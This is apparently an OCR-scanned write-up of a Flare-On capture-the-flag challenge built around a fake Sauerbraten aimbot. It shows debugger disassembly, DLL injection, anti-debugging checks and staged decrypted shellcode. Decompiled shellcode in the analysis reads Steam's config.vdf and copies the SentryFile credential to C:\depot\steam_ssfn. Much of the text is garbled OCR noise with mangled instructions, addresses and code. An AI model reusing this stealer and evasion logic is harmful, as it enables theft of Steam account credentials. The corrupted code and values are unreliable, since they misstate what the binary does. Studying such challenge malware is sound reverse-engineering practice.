o00001B397DB0O02E 66: 8378 0A 4C cmp word ptr ds:[rax+a],4C 4C: "L
0OO001B397D80033 ~ 74 0OF je 1B397DB003C
oo0001BE397D 80035 ~ BBGEEITE 08 js 1B397D80041
oo00001B397DB0O039 [ insb
DOO001B397DE003A ~ 75 12 jne 1B397DS004E
000001B397D 8003C OFBT40 08 movzx eax,word ptr ds:[rax+s]
Oo00001E3970D 80040 B2 DFFFOOO0 mowv ecx, FFDF
OO0001E397D 80045 G661 8B3EE8 45 sub ax,45
OO0001E397D 80049 G66:85C1 test Cx,dax
DOO001B397D 8004 w T4 12 je 1B397DB00GD
000001E397D B004E 48:8B52 10 mov rdx,gword ptr ds:[rdx+10]
o00001B397DB0O052 48:83EA 10 sub rdx,10
00O001B397D 80056 48: 837A 30 00 cmp qwurd ptr ds:[rdx+30],0
oo0001E397DE0O0OSE ~ 75 BB jne 1B397D8001S
Oo00001B397DB00SD 33C0 Xor eax,eax
00O001B397DB005F C3 ret
000001E397D 80060 48: 8B42 30 mov rax,gword ptr ds:[rdx+30]
O0o00001B397D 80064 c3 et
000001B397D 80065 0000 add byte ptr ds:[rax],al
000001B397DB006T 0000 add byte ptr ds:[rax],al
000001B397D80069 0000 add byte ptr ds:[rax],al
000001B397D 80068 0000 add byte ptr ds:[rax],al
000001B397D8006D 0000 add byte ptr ds:[rax],al
000001B397D 8006F 0000 add byte ptr ds:[rax],al
L4

s 17" xy.45sLS A IS 5 w)s\\s%n»n»xgsc1Dm=+x=s:n"

A ~ v~ ~ A ~ ~
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000001F2 45:8335C24 08 mov qword ptr ss:[rsp+t&],rbx A

Q00001F27 1890005 48:897C24 18 mov qword ptr ss:firsp+1s),rdi

000001F27 1890004 48: 895424 10 mov qword ptr ss:|rsp+1of,rdx

000001F27182000F 4C: 8BC1 mov r8,rcx

QOO001F271820012 48: B5C9 test rox,rcx

000001F27 1890015 v 74 63 je 1F27189007A

000001F271890017 B8 3IF3IFO0O0D mov eax,3F3F

Q00001LF27189001C 6613901 cmp word ptr ds:[rcx],ax

000001F27189001F v 75 59 jne 1F27183007A

000001F271890021 48:6341 3C movsxd rax,dword ptr ds:[rox+3C]

000001F271890025 813C08 S03F0000 cmp dword ptr ds:[rax+rcx],3F50

Q0000LF27183002C v 75 4C jne 1F27185007A

000001F27189002E 44:8B8C08 33000000 mov rad,dword ptr ds:[rax+rcx+588]

000001F27 1890036 4C:03C9 add r9,rcx

Q0000LF271830039 45:8B53 20 mov rlld,dwerd ptr ds:[r3+20]

Q00001F27189003D 4C:03D9 add ril,rcx

000D01F271890040 33C9 XOr eCx,ecx

0O00001F271830042 41:3949 158 cmp dword ptr ds:[r3+18],ecx

QOO001F271820046 v 76 32 jbe 1F27189007A

000001F27 1890048 41: 8B048B mov eax,dword ptr ds:[rll+rcx+ 4]

000001F27189004C 48:8B5C24 10 mov rbx,qgword ptr ss:lirsp+10§

QO0001F271890051 49:03C0 add rax,rs

000001F27 1890054 48:2BDS sub rbx,rax rbx: "0lc?7REBbruUc3ET?T/ 1337pr.

00000LF271890057 BBF9 mov edi,ecx

000001F271890059 OFBEGLO movzx edx,byte ptr ds:[rax]

000001F27183005C 44:0FBG1413 movzx rilod,byte ptr ds:[rax+rbx]

000001LF271820061 41:2BD2 sub edx,riod

000D01F271890064 v 75 08 jne 1F27189006E

Q0000LF27 1830066 48:FFCO inc rax

Q00001F271820069 451 85D2 test riod,riod

000D01F27189006C 3F [ ]

Q00001LF 271830060 ~ EB 85 jmp 1F27188FFF4

000001F27189006F D27415 FF shl byte ptr ss:@rbp+rrdx-1,c1

000001F27 18900 C141 3E 49 rol dword ptr ds:[rcx+3B],49

000001F2718900 1872 CE sbb byte ptr ds:[rdx-32]1,dh

QOO00LF27189007A 33C0 XOr eax,eax

000001F27189007C 45: 8B5C24 08 mov rbx,gword ptr ss:|[Brspt+af}

000001F271890081 48:8B7C24 18 mov rdi,qword ptr ss:frsp+13]

000D01F271890086 c3 ret

000001F27 1890087 41:3B43 3F mov ecx,dword ptr ds:[r3+3F]

000001F27182008B 49:03C8 add rcx,rs

000001F27 189008E OFB71479 movzx edx,word ptr ds:[rcx+rdi=z]

Q0000LF2718300392 3IF

000001F271890093 8EB49 1C mov ecx,dword ptr ds:[rox+1C]

000D01F271890096 49:03C8 add rcx,rs

000001F271830099 BE0431 mov eax,dword ptr ds:[rox+rdxs4]

QOO00L1F27189009C 49:03C0 add rax,rs

000D01F27189009F ~ EB DB jmp 1F2718%007C

000001F2718900A1 0000 add byte ptr ds:[rax],al

00D0D0LF27 1890043 0000 add byte ptr ds:[rax],al v

< >
=n - - - ” ”

P A TS, @ L X Jee xxs T xmodulet fox 4« 8T M ssX0 @ x Tl x (s

Y4 _ .1 7s

OMZbmagiat + s ~xx_ ssi * OxBAE0x4D: * 1r s Oxi8effsetit r 1 & *

~

®Rfbmagiat + S -~ x x . F$0x45° x {]s{.0x290ffsetrt - 1 *
®41” sl xs xjhes ! x o {0x75 x {1s{.0x6Coffsetrt - {1 *

>

® COffsetrt - ~ + _S"4_« < 7% x 3 | wid X Qx24' x 11s1.0x8Aoffsetit : 1

eBX » 1, A4¥ i 14 %« , oS x o sy X o4l x 4 b1 .0x92 offsetit © 1 *
@18 x X FEY

4 & R 4
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Y 4 «lixsasp XX Tred 174

000001F27 1820000
000001F27 1890005
O00001F 27 1830004
000001F27 189000F
000001F27 1890012
000001FZ27 1830015
Q00001F27 1890017
000001FZ27 189001C
000001F27 189001F
Q00001F27 1890021
000001FZ27 1890025
000001F27 189002C
Q00001F27 LE9002E
000001F27 1890036
000001F27 1890039
000001F27 1890030
000001F 27 1830040
D00001F27 1890042
000001F27 1890046
000001F27 18300458
QO0001F27 182004C
000001F27 1890051
000001F27 1830054
Q00001F27 1890057
000001F27 1890059
000001F27 189005C
Q00001F27 1890061
000001F27 1830064
000001F27 1890066
000001F27 18900639
000001F 27 183006C
Q00001F27 189006E
000001F27 1890070
000001F27 183007 2
Q00001F27 189007 4
000001F27 1890078
O00001FZ27 183007 A
QO0001F27 182007C
000001F27 1890081
000001F27 1890086
Q00001F27 LE90087
000001F27 1890088
000001F27 189008E
000001F27 1890092
000001F 27 1830096
Q00001F27 1890099
000001FZ27 189009C
000001F 27 183009F
Q00001F27 LE900A1
000001F27 18900A3

<

48
48
48
4C
48
74
BB
66
75
48

:895C24 08
1897C24 18
1895424 10
1BBC1
:B5C9

63

405 AQQDD
13901

59

16341 3C

813C08 50450000

75
44

4C
: BBBCOE 8BOOOOODOD

4C:03C9

45
4C

:BB59 20
0309

33Co

8B
OF

41
72

13949 18
32
:BBO4EE
1BBLC24 10
1 03C0

1 2BD8

F2

BEL10D
:0OFBG1418
12BD2

08

tFFCO

1 B5DZ

13B49 18
GE

33C0o

48
48
c3
41
439
oF
41
439
8B
43
EB
00
00

:BBLC24 0B
1BB7C24 18

:B8B49 24
:03C8
B71479
:BB49 1C
:03C8
0491

1 03C0o
DB

0o

oo

mov gword ptr ss:[rsp+3],rbx
mov gwerd ptr ss:firsp+1s),rdi
mov gword ptr ss:frsp+10j,rdx
mov r8,rcx

test rox,rcx

je 1F27183007A

mov eax,SA4D

cmp word ptr ds:[rcx],ax

jne 1F27183007A

movsxd rax,dword ptr ds:[rcx+3C]
cmp dword ptr ds:[rax+rcx],4550
jne 1F27189007A

mov rod,dword ptr ds:
add ra,rcx

mov rild,dword ptr ds:[r9+20]
add ril,rcx

XOF ECX,eCx

cmp dword ptr ds:
jbe 1F27189007A
mov eax,dword ptr ds:[rll+rcx*4]
mov rbx,qword ptr ss:jfirsp+10
add rax,rs

sub rbx,rax

mov edi,ecx

movzx edx,byte ptr ds:[rax]
movzx rilod,byte ptr ds:[rax+rbx]
sub edx,riod

jne 1F271893006E
inc rax

test riod,riod
jne 1F271890059
test edx,edx

je 1F271890087
inc ecx

cmp ecx,dword ptr
jb 1F271890048
XOr edx,eax

mov
mowv
ret
mov ecx,dword ptr
add rcx,ra

movzx edx,word ptr ds:[rcx+rdi=z]

[rax+rcx+558]

[r9+18] ,ecx

ds: [Fo+18]

rbx,qword ptr

H ssifirsp+sl
rdi,gword ptr ss

:firsp+1s§
ds: [ro+24]

mov ecx,dword ptr ds:[r9+1C]

add rcx,ra

mov eax,dword ptr ds:[rox+rdx=4]
add rax,rs

jmp 1F27183007C

add byte ptr ds:[rax],al

add byte ptr ds:[rax],al

[rsp+8]: "Beep™ A
rex: "o,

rox: "o, h\t"

MZ

rex: "o, Ne"

PE

rox: "o, N

ril:"w,\t", rcx:"o,M\e"

rbx: "0lc?TRADrUC3IETTT/1337pr .

Y xss |

AMUSE OR.fAZe??2?2?2¥?x {1s{15 € |

F

L 13 ”

X ysp v s{ ”

AT

9

s

Sop, ™

L % N> TR BN B (R

XY XS %% XA

01c??R@brUc3E/1337pr.ost/20AAAAAAAA/ pizza/ AMUSE OR.fAZe/

X€ 4. . ¥stge BrS « 15 WS4« "% stge 5 o X X1 4L T8¢ 9q”
ST A, Tseslash 4 XL 418

AZBQCEDTEXFHGOHLIMIFKKLDMVNNOUPBQWRYSGTIUPVAWCXIYRZS s
¥4 Se B s x X

X

1 a2l ¥

Y Xpsp 187

S 4 <7 ¥ xsof hipt L _x*" 4 Shélcodet

1|_ ”va ”X\. :|3<

x ¢ 4« YOXEKCZXYIGMNOXNMXPYCXGXN{s{s € 1
01c??R@brUc3E/1337pr.ost/20AAAAAAAA/_pizza/ AMUSE OR.fAZe/YPXEKCZXYIGMNOXNMXPYCXGXN/

b

>

g SS« .

~

Oux L :ssx X ~sz-|x”

i i e

B s, x QX

X

[
RUECKWAERTSINGENIEURWESENT * | x: ¢

>

XFYA” .

X % o &

MZS,_)XVZXVS,S~\J
S. . TOx , 1x7
X .07

A o x ¥ s

X 4§ LW SR XX, P

~ v

s { .« ”x ROECKWAERTSINGENIEURWESEN ~ +1 : & ~» X € { . J\iiteConsoleA
Qtage A 1 . «7 ., stage 6

My
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L_r 4 x &% s 4 "shishtsd x X 44% 4 s x ¥ .1 § . 8tage 75 4 . « 7 x s
114D 44 7 s x ¥ §I1sC x , Juss o x dbeUrdy: ¢ x o oS T4XIT X, 8] 7 XY , « s
x {1* _InF o - xbuffert © | f s 4.« X% is .« shellcodet - -1 |1

Fds AT D s x ¥ ox X2 8op | ] Xm0 L X G R TEX"sD 1 hash
T® . _shellcodat - ~+ 1 ~x."x_fguffertt + 1 > | X ;. X«

box  xx g% 4s v oxs], Isap {  foufferg e - 4 XSSL_T B s oHX L _alX SR
17 X T xy s xudl L X4 .08 xispsxwhl hid Ao 7] QLF

111VXY_—,)(\~>$.X,;$~2 X'ﬂ't-iJ'AXsdsLZvOm‘LFlszxﬂx‘lx{JS{L,A\A{x,,s
UG XQRA oL KX A4S L 4 % s

Y X Axs"p | 1s” U X ¥ &« sl 7
01c??R@brUc3E/1337pr.ost/20AAAAAAAA/)pizza/ AMUSE OR.fAZe/YPXEKCZXYIGMNOXNMXP
YCXGXN/ob5cUr3/

shellcodet - ~ ~ % 4 « « "S% 4sl¥*.s * xshellcodet ¢ * _ * lThashit s> § x "d s
S | .« « TIDA) Fq’mf X . | - . gtage_smem . ><u X x| X :rnemory dumpx s . ,l’(D X ?

Pfigh: ¢ x XTI s x x sBEsM XX H® { 1" s x ¥ .i.]s. stage_8

Y Xpsp 4T Xy .S

01c??R@brUc3E/1337pr.ost/20AAAAAAAA/)pizza/ AMUSE "0R.fAZe/YPXEKCZXYIGMNOXNMXP
YCXGXN/ob5cUr3/fin/

¥ X DS JHTMU x 15 yX L 9 BT X ¥ s
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Y ¥ lconsoler | | | x _ X
0 ™ 5B439 08 mov_ecx,dword ptr ds:[rcx+8]
! . FF93 58030000 B3l qgword ptr ds:[rbx+358]
L--8@ 45:33C9 xor rod,rod
. 4C: 897424 20 mov qword ptr ss:|frsp+zofl,ri4
. 48:8D55 CO Tea rdx,qword ptr ss:|Irbp-40]
. 48: BBCF mov rcx,rdi
. 45:8D41 40 lea rscl:qword ptr ds:[r9+40] [r9+40]:"obscur3™
. :;gg 78030000 Eiﬂl gword ptr ds:[rbx+378]
L] es eax, eax
[——* vr74 10 je 24433C7039E
e 4B: B8B83 0B010000 mov rax,qword ptr
| . 5B48 08 mov_ecx,dword ptr
. FF93 58030000 €all qword ptr ds
|——>o 4C:8D9C24 80000000 Tea ril,qgword ptr [rs ]
. 49: 8BSE 30 mov rbx,qword ptr rhx:"0lc?PREDU
. 49:8B73 38 mov rsi,qword ptr rsi:"obscur3”
L 49: 8BE3 mov rsp,ril
. 41:5E pop ria’
. 5F pop rdi
. pop rbp
. ret
-
.
.
.
. om
-
.
.
.
L ]
-
-
.
.
.
-
. add byte ptr ds:[rax],al
. add byte ptr ds:[rax],al
Y x; sy | s
bOrn_t0_5truc7_b4by@flareon.com
aimbottm~ ¥ - +
| hope this ighe only aimbot on your system. Twitch streaming probably pays better than heing

a mediocre reverse engineer though.

T‘E:LXJ'i)SNS]LXl"X‘-f:”-IH

~ v

IDATE x & ¥ 4 1 . X dgedouyrces _

X

daimbot.exe, * X% 1 L XJ

~

LR

s X xif{]L_ v ® X {pxCXY

1+41<L OFF Explorgr, * * <% 4 %

TGy X o

\.‘I”SLL X
° °

~

@napshot

>

Fo_o*wondow clasBd Lo« X F 4 3 4 A s 400 4. X WinMains 4« « 7 x4 *Free

®ub_402AFQ {ss% « 1 1.x* | xallbackt : 1 1 . BAhaNAAIMBaY

S | . T X, qsllyx . & L

> A

LArst 1% ., 47
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B | BananafimBot — O X

BEST Sauerbraten aimbot by Potassium Crew
Ad-supported please do not reverse engineer or
modify

Launch Sauerbraten with Aimbot!

Sub_402156 4 « « P K s{ 0 s

alloca(sub_46465

_ X WMROGRAMFILES(X8@8&terbrateNbin64 sauerbraten.exe, * X i S « , & 4 <7 x
Y x . X 4] 4 Chbe 2: Sauerbraten 1

X Pl XSRS X X s

@ Cube 2 Sauerbraten - a X
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http://sauerbraten.org/

Technologic

<. o. K3HeSsourcat ¢ X b st 17 L w XX dss 4o Xl xsds o s% LT

mier.exe, * X:«+«S .« 1s. 1 « <7 X 71s. mnerexe, config.json, aimbot.diY1 « * « s

Yiusd VXS F{2, ]s

s 4 T x X d .1 X _ s ¢ sauerbratenexe, * X «Is{ L s L X H. " x s

>

¥ L | x I3 ssdb_401E80

\DLE hProcess, LPCVOID lpBuffer)

V5, _'|_|_'|Ei|_|—_—_ez-'

duleHandleA, “LoadLibraryA"))

adLibr

® il %« xaimbotdll, ¥ Xp s« x"1__ 4sf L s DLt Injection . ~ ¥ €4 « < " X

Y 1 ,,,,X>I § ZV L X XY L L Iss. 1 X3 " ““21s~xvi g ., XPB+ L

@ APPDATAMBananaBog¢ {1 « 4 4 X X < ~ 4 dnd

w r”
~

diner.exe, * X:«\s, R

®1_ s . ®

~

x@® % L 70 Paimbotdil, X xie.s 7 p % X
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https://en.wikipedia.org/wiki/DLL_injection

Technologic

Lo, T X poalox AIxx L x o X GEtAsyncKeyStaie: x « 1 A4 J X _ <threadrn
rd 7 4ed47 ¥ 1 3 X threadt X L | * ridheric keypad B numeric keypad 5 1 _ « _ S

~

PTPHPPTT Pp MO ARHOH] » XX dXsSgdMnMpPphpPHCPBOPY ST o
. ndmeric keypad 5 « _ S 1 X o DSl o p A s LB XX

v ~

sl L 4 XX S X s X X 1. % v“m s
Coxo S« T 1.8 L ¢ 7onumeric keypadk6 | <X odAsx v ok T Xl 1X
x s ¢ ]s Adambot L.~ TF L xX 41 threags . "+ S5 T o1 s 4.
. S theead™ ! « _ 7 <1 T 1.

~

oo AT D seiess Gl xIXq 0 xs Uy % a X oati-debugl X L X o X4__ 4 uthreadr
® 1494 s-vs.xExitProcess 1 « « ¥ X J s dEbug- 1 -

Y 4 sixis o LSseskellcoda T x T X5 o x IX7 4 N 4y K417 theeadrt

I 1L sattach: x _ 1% " 47 x4 4 0 cosiive X x0T x xlox$8s
+ 1 w11 _ dsf L sttachs | 2L » * v {sl did 1 thread® antidebugt o + 1 _ _ s
Pxpd 1+ 1 dhreadt 1 "t~ xXs

L., 1 uxixx o .aftnbot.exed 1 . ssub* 401E8C 1 . « 1 Xbreakpoint~ {1 ! ¥4 .~ x «
* L _ Beeakpointt ~ . aithbot.exel 1 L s1¥s <"1 _ _ 5 ] « B@nanaAimBot X . x* | s
L S« 1%+8 {1  CteateThread 1 « « " breakpoint- 1 | ¥2I' x |s{ [ sttachs _ s”¢

14 _ @& . thread® - ~ H."4{ 1 _bEeakpointt . . « 1 _ 1S L s<ainbotexel 1 L s - s

~

s 1.« g { ibiedkpoint- 1 | & X X s " {@ threadt : -~ "1 L ] S . 4L

~ v v

®o A4 Aoy S < 4 ns) 4 thPead2_mains i+ - « Sub_62F4307@ X <. X S

~ v v ~ ~

1 4x vip~ 1, 1 ¥4 ~4 L OCreateThread S « 4 -+ ~¥sL L T x X s{ " 4} x{ ithread
& " thpeadit L S 1 « «~ x s™x{Ld { DHNORL CreateThread « ~» X kX § x " 4
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Technologic

LA sflowrf v 1w TIsT Dox L s x oL X s Y

T SX . sis” s , s

~ v > A

L f sl x X EsTo XN x s ¥ X s C ™ xoxd x4y >*T 99 s s

e Hoo T 0w xS % Bnapshot, x| 0 22X 0 X Lss T s X 107

@Gnapshot « * uw _sx¢% L % _nd _xx" 17 ¥ ox

~ A >

Y4 oxdx W D og % {102~ tiEead2_mairs 4 « < P xTylss |

v v~ o~

(const char
strstr(

memcpy (bu r
sub_62F41A00
free(URL_data);

if ( buffer_size )

( buffer_size > i );

ek_get_decryption_key();
= ek_decrypt_string(3, 44

er ctr +hie 1

« 1 L xol sleepiZl ] X " & ss  {. xXss Xxs { . « "TxXx s, X4§$ s

a

(6> N x o9 IARSTNE Sz’: *s o b X s5q¢x ! X '|=> Jrvqss.

s 111+ . s 62F43A20 1 « « 7 X . W S 1. 1+ @\Bepoths 1 « F xS, SX{{e o " X
| SRR R A

S
JU xR x4 41 xS {0 % x % &ad from URL
InternetReadFilE ArEernetOpenUrlA
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1~ 4 get decryption_key 1 - « .~ sBh 62F42300 1 « « X4 4 F X O x ] ¥ "$"
T L st @ Tanti-debugging * <147 1 s AXIS 4 L WTXE X X "s s s, s

~ v &

Ch] [rbp-Ch] BYREF

ess, &pbDeb erPresent) && pbDebuggerPresent )

urn sub 62F42

zeroflagk s ~ € 15 Asx % 4 FNORY ™ - | X TsE « . %8 4 s L x o4 kX7

a

® X« 7 Taub 62F42020 1 « « " X4 ¥S§ 4 .y "X, € ] 5 x| x

“anti-debugging *x « 4 ™0 ¥4 xS 4 o o7 x

PVOID, ULONG, PULONG))GetProcAddress(LibraryA, "NtQueryInformationPro

=, _ int64, BYTE *))NtQueryInformationPra

X « | S X X SNtQueryIlnformationProcegé _ * _ 4 { s CX v LB % s s g ] qs

P  «xss, 15 s <1 loFxl ~ ProessDebugObjectHandle

v

¢ x].s « 1PEBs " * BeingDebugged ¥ !| % _«{q{ss{ ”s &4 " | qs

>

1 w1140 Process Enumeration  «~ % § « « fEX: ¥y X, fis{ { g $7 1 1S
thash. __ ~ ~~ ! ¥ix, hasht @ «* _ 11X .5t + _ 1 bhash: * _ 1sxy x | s
counters 4 Isy| « « "S¥ xsh s, 148 d . _Bash® 48X« I si.  « dd

PA LS wF T D RRsse X s X 1T gl X L s e .S Isel X

14 L suwXe " débuggingt » x4 L8 <dh A BHAYLs X s oo x| HAShT - 4 -

v o~

Pl A Ts e de e X 0 s N7 Ixd Y X is 1 Yux X s K idebuggingt ~ X |~

~

D x | ','A, S ., 4 s ”sz,_>\ij
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https://anti-debug.checkpoint.com/techniques/debug-flags.html#using-win32-api-ntqueryinformationprocess-processdebugobjecthandle
https://anti-debug.checkpoint.com/techniques/debug-flags.html#using-win32-api-ntqueryinformationprocess-processdebugobjecthandle
https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb

s X «ypdnash™ % « s v 4 | 8l ¥ L Ox62F42246 * x L | breakpoint- 1! ¥ & 4 7
x countem® - LY ¥ L b s X T NEAT 0 8 X L T4 %0 v S dASL s s

Fd 14 ws_hashm s« ¢ s44 L s 7 x JOB2F42253" *x 1 dpid x "4 4L Or L

r YT o edplorerexer " 4+ 4 1 4 wsle ¥ o ! 11edplorer.exe, x64dbg.exe, taskmgr.exe

® -« L X x4 s0x62F42260 * x L |bteakpoint- 1 ! ¥ s |

YA« $fla s x ]l o 4> Tdcountermtr 4 _ . 5 4« <7
Dx406220ffsetrt aimbot.exel 1 1 ©s1.sx b $ 1 s 17sx L, [p{{CigE s « 4 .
®©x1337,

®ountent 4 -

Ox13E®ffsetrt «O1 _ 04T Ik iss i sx o [ 44988 5 « 4 ~

8 6 8§ 8 *

s . 15 mx xcountent 4 ~ _ HBiR*:\ S . <0 X SO ] S5 xxs g § | o4 XS]

Ll v e s dd e s T Cx L, T0X6H99F8AY x s { L o L xS
Y x d{getidecryption_key 1 « « " KB xo, I TTX AT X SO F 4 s s

mov eax, O0x6499F8A9

ret

® . 15 veax, T, A Seexd oSS NI ASEH o G K X 1T e T

®napshot, « X uw _sx® [ X

s4..<" X L .binanabot 5608 s x: ¢ x 71 s 17 s

~ X «x{ sh§p://127.0.0.1:57328/2/summark- ¢ x ~. 11 % ", 1 «.InternetOpenA

dnternetReadFile 1 « « 7 %, $ I, 1 « InternetOpenUrl& 1 « « 7 x|

miner.exed 1 L s htgp ~» x ss¢ I Ak d S 4 Tx L0 8 X x4 v {7 ]

¥ us . | ¥ises o sednfigjson X XXX T {3 %
|

"enabled" : frue ,
"host" : "127.0.0.1"

"port" : 57328,
"access -token" : null ,
"restricted" . true

. % ‘thread2_ mains 1 « « 1 x _so® «httpre ! x T x4 . T, 44847 x s
1. % 4« xshellcodet © ~L 1 1Qx4470. ! xbuffer1 ” 4 Il < P x 7 Fx Ix* |

FSE T X SRR S 4T XIXT T puffenit o 188 3 X 7 XS T X s
skelicoder + 1 + & ¥ J 1 15« 1 I+ X sthehdecryption of this blob was successful¢ x ~ 1 _ s

T® «, 4 orSquL 4517y 1 SOK62FA31FB * x o IcBliyshs | x J ss. {9 o syL

~ v~

®&hellcode
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1« 4 NIBA Prof x - % ¥ 0 ¢ X bufferm memory dump: x4 X « &1

Lt b o141 1 e3bhellcode | ! x. KHL S 5 s 7

v

®napshot. -~ * ' $hellcoda _s

S X dil. ] XX 1 4 in*n _offsetit © « . shéllcodel.birf : 4

NEREN

N

w

"

ssiellcodel.birs ¢ * x «

r”

]

S

¥ L | x J % sshiellcode_start

void _ noreturn ek_shellcode_start()
{

int v@; // eax

__inte4 vi; // [rsp-28h] [rbp-26h]

ek_resolve function_table(&functions_hashes, &v1);
encrypted _buffer_size = @x3B819;
ptr_encrypted_buffer = &encrypted_buffer;

v = ek_shellcode_main();

global function_table.ExitProcess(vi);

JUMPOUT (loc_A3);

}
L _hash1 | « _1 ~

JX D% X IIE X D XEEX 4w 5 {8 WP XXBY L xS

|
o4 . % TPEBES " K

L * « 1 vesolve function_tablee 4 5 « » &7 X

s 4 s

1+ | WInAPI- X

. X S L% fssy . 8T oy >>< EYligr ‘:“,_”Xx-|>

.I

RN

1 _w® o x4 0 32X 9 " oAnalwarer 4! S e o xs P41 3 AdS | L X  w

~ A >

P * s \:s1ixlz\v¢ss14:~s“

~ ~

~

10, 4y sd « o xhashd » & x _ Sd X X% 4 a1 ysxeq 4T

~

1L+ 1~ X% % x *Modulert - - IrlMemoryOrderModuleList 3 ~ « 4 * *Modukes
S 1+« ¢ X Rash: «+ x xQh s« x % 48 <7 ¥ {s  Hxport Directorff - x {1 « « " X

ST s oy | sa o5 s HIIIx | o3 DAY struct

~

w

x,,AIﬁ( 1 Xlsx,_LAx LowqdL] 7 X

.I

¥olxJgs@ xiais{ 114 _'0%X626. _offsetrt - + . _shellcode_main

config_file_handle = ek_CreateFileA("C:\\Program Files (x86)\\Steam\\config\\config.vdf", @x30000000, &);
if ( config_file_handle < 8 )
i64;
e = global function_table.GetFileSize(config file handle, @);
ig size )
return 9i64;
LODWORD(config content) = ek_AllocateHeap(con
bytes_read = ek_ReadFile(config_file_handle, c
ek_CloseHandle(config file handle);
if ( bytes_read != config_size )
return 9i64;
vd = ek_strstr_string(config content, "\"SentryFile\"");
if ( va )
return 8i64;
vd = ek_strstr_char(vd + 12, """);
if ( vo )
return 8i64;
file = v9 + 1;
- ! e_end = ek_strstr_char(v? + 1, '"');
if ( lptr_sentryfile_end )
return 8i64;
sentryfile_length = p

gmemcpy(sen
sentryfile_co le_ th] = @;
if ( !global_function_table.CopyFileA(sentryfile_copy, "C:\\depot\\steam_ssfn"™, @} )
return @igd;
ek_rc4_set_key(&r ate, &config content, @x18uic4);
ek_rc4_decrypt(&-c4 state, ptr_encrypted_buffer, encrypted buffer_size);
if ( !ek_memcmp(ptr_encrypted_buffer, "the decryption of this blob was successful”, @x2Auis4) )
JUMPOUT(__CS_, ptr_encrypted_buffer + 42);
ek_HeapFree(config content);
return 1i64;
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https://blog.nviso.eu/2021/09/02/anatomy-and-disruption-of-metasploit-shellcode/#Import-Resolution-Analysis
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Technologic

-« ~HR\Program Files (x88teamconfigconfig.vdh . * x « s« ] 1 X s 1.
L SentryFiles XS v sentryFile, s 0" 4+ path X X x

Leonfigvdf, * X1 § 47 x ¢ d - # 8- s 4«7 x  XCldepotisteam_ssfh
.® sheéllcodel ” | |

.|‘ﬂz‘zs‘q.|Ls“vxxh\ssszAx:><<.‘“x,,F'Hv”|_x|~_¥.|;ﬁﬂ~s\XKM& X,_Zvax‘LJ

I'Steam™ 1 « 7 ¢ Sams _ ~ x 4 1 ¢opfig.vdf, * x ssv ¥ X > {shellcodet

s Qs W 1T XXX KD B e DXL ], BB S XIS X 4

[ o~ ~ o~

Tx 7 0 S ¥e 4 X W L-X Xpathr | SentryFilgs ! _pathrg - ox X 4 0 17
Y - | Buffer

4 || » ThisPC > Local Disk(C) » Program Files («26) > Steam > config - .
N File Edit Search View Encoding Language Settings Tools Macro Run  Plugin: dow

| Name. Date modified Type Size HHBRGE|l smE e R % BEE ST EREp e RENREB

access -

[] configdf VDF File 'Elcunﬁgvdfml =

ktop * oy -

o N [ my_cool filetct (T File :| 1 "InstallConfigStore" -
3% sauerbraten.exe - PID: 1588 - Thread: 25CC - x64dbg [Elevated] — [u] X

Fle YView Debug Trace Plgins Favourtes Opfions Hep Apr 292019

O il ‘R eEtaliEsPhy L BE

By Doaph  [Jlog  [JNotes  ® Breakpoints ™8 MemoryMap [ CalStack  &ZSEH | [0l Saipt @ Symbols <O Source 4

+[oo00015: 481 8DBD EOFEFFFF rbp-1z0]] A~ am™
. 48:8BF3 GHED GED
8 o
RAX  0000018C7C320858 A . .
=3} Rex  000001aC79Ee980 MTEF 1844985591
: . REX  ooooracrcos0ses E "
48:8D3D FBFEFFFF Jrbo-108]) . 'Accounts
. 48:8D95 EOFEFFFF Tea rdx;quord ptr rbp-120f| RDX  0000018C7C920928 the
5 =23 N REP  QDODOOLEF45FFCDO 1
: i s ESb  00000D1EF 43From0 . .
E8 49F9FFFF €all 18C7CI200F5 RSI D000018C7 FEE6ICO velaxtor
i3, 85 Forereer R51  5oooooicrisreaco
45! 305 26000000
. ac7c ic 6 CETEIEITISEII oo "SteamID" "765611979686148406"
+| Go0015E 732 1515208 24000000 B TR ,
M o 48: 8810 R10  ODODDOLEF45FFCAE
€8 DBFSFEEE oo R11  000DOOLEF4SFFEDL ]
45 g CERTeRIITIRITisg 4| |"cip” "02000000b3dcd301c8bbd573000010072545%"
| 0000013c7C 48:8DD5 7B000000 lea rax;qword ptr d R13  00DOOOOG0000000D s " .
0000018C7C2 4818808 mov rcx,qword ptr d 0000000000000000 oM 72.165.61.174:27017;72.165.61.174:27018;72.165.61.175::
3| 550001 &% Posn' Sk 3 “ wl B
158 pop rs Defauit (64 fastcal) T jerever 1503066672
£8 25000000 €&l 18C7C920812 It rox GOO0OTEETCITToS cs 80.239.130.254:80;213.242.108.38:80;79.141.165.3:80780.
537500 o <o, T vore ol . o
v 74 02 je 18C7C9207F0 rdx 00000187C920928 "the de| CSVer 0
4 3¢ 18crtoz0rro v |3 FE000000000000503a . . . .
By i r9 0000001EF45FFECS "SentryFile" "C:\Program Files (x86)\Steam\config\my_cool_ file.tx
"ConnectCache”
. NS scecs 7 araaEazs] | v
WWoump1  WWoump2  @pump3  @Upumps  @Hpumps @ wathi  Iellols 2 sfubt '5|E74536769666EGF 43
— - 5000 5Earso0aase
000001 920953 (8] 68 €5 20(64 €5 63 72 70 Ehe decryption o 00000C 3 length: 4,106 lines: 96 Ln:22 Col:91 Sel:0|0 Unix (LI UTF-8 INS
0000015C7C220965 : 75 %0 62lec o s Bbn mas 50000 Es2icsisazozsoess | lend ! e
0000015¢ 7030053 23 BREEE CuteassRitn AT,
0000018¢7c 020583 i3 8 ec 50 | R by
30000156 7c030053 5 s i

A
g
H
A
8
8
&
@
3
2
2

&
0000018C7C9209C3 | 0D 00 00 C7 |00 AS 25 00(00 48
3 8 08 488D 05 90 0D

0000018C7C9209E3 | 00 00 88 C8|48 8D 64 24 [E0 48
0000018C7C8209F3 | FF 52 10 48|83 C# 20 53 (56 57
an00n1ac7Ca70ANz |55 38 AR FClaC AR Fa salaR F2
<

eofacesgas 00000
08 48|8D 55 E8 E8|29 09

0A38C
ADD3G0BES 0
13 |E5746812511F03D76|

5EBE8288BERY
sg8

H. d$ aK
$RIH.A SVWATADAY
VR 31 . éR.0T.aF3

v || ogoooc
> |«

Command: | |oefaut  +

Paused  |Dump: bytes) Time Wasted Debugging: 1:00:51:47

IBA Prat ~ « x "*sx i<l 0 0%X8B19x3 1 ! xr¥ 3 " | x huffetm memory dumps _ |

vold ek_shellcode_

1

__inted wl; M/

skellcode2.birt 4 + + 4 -

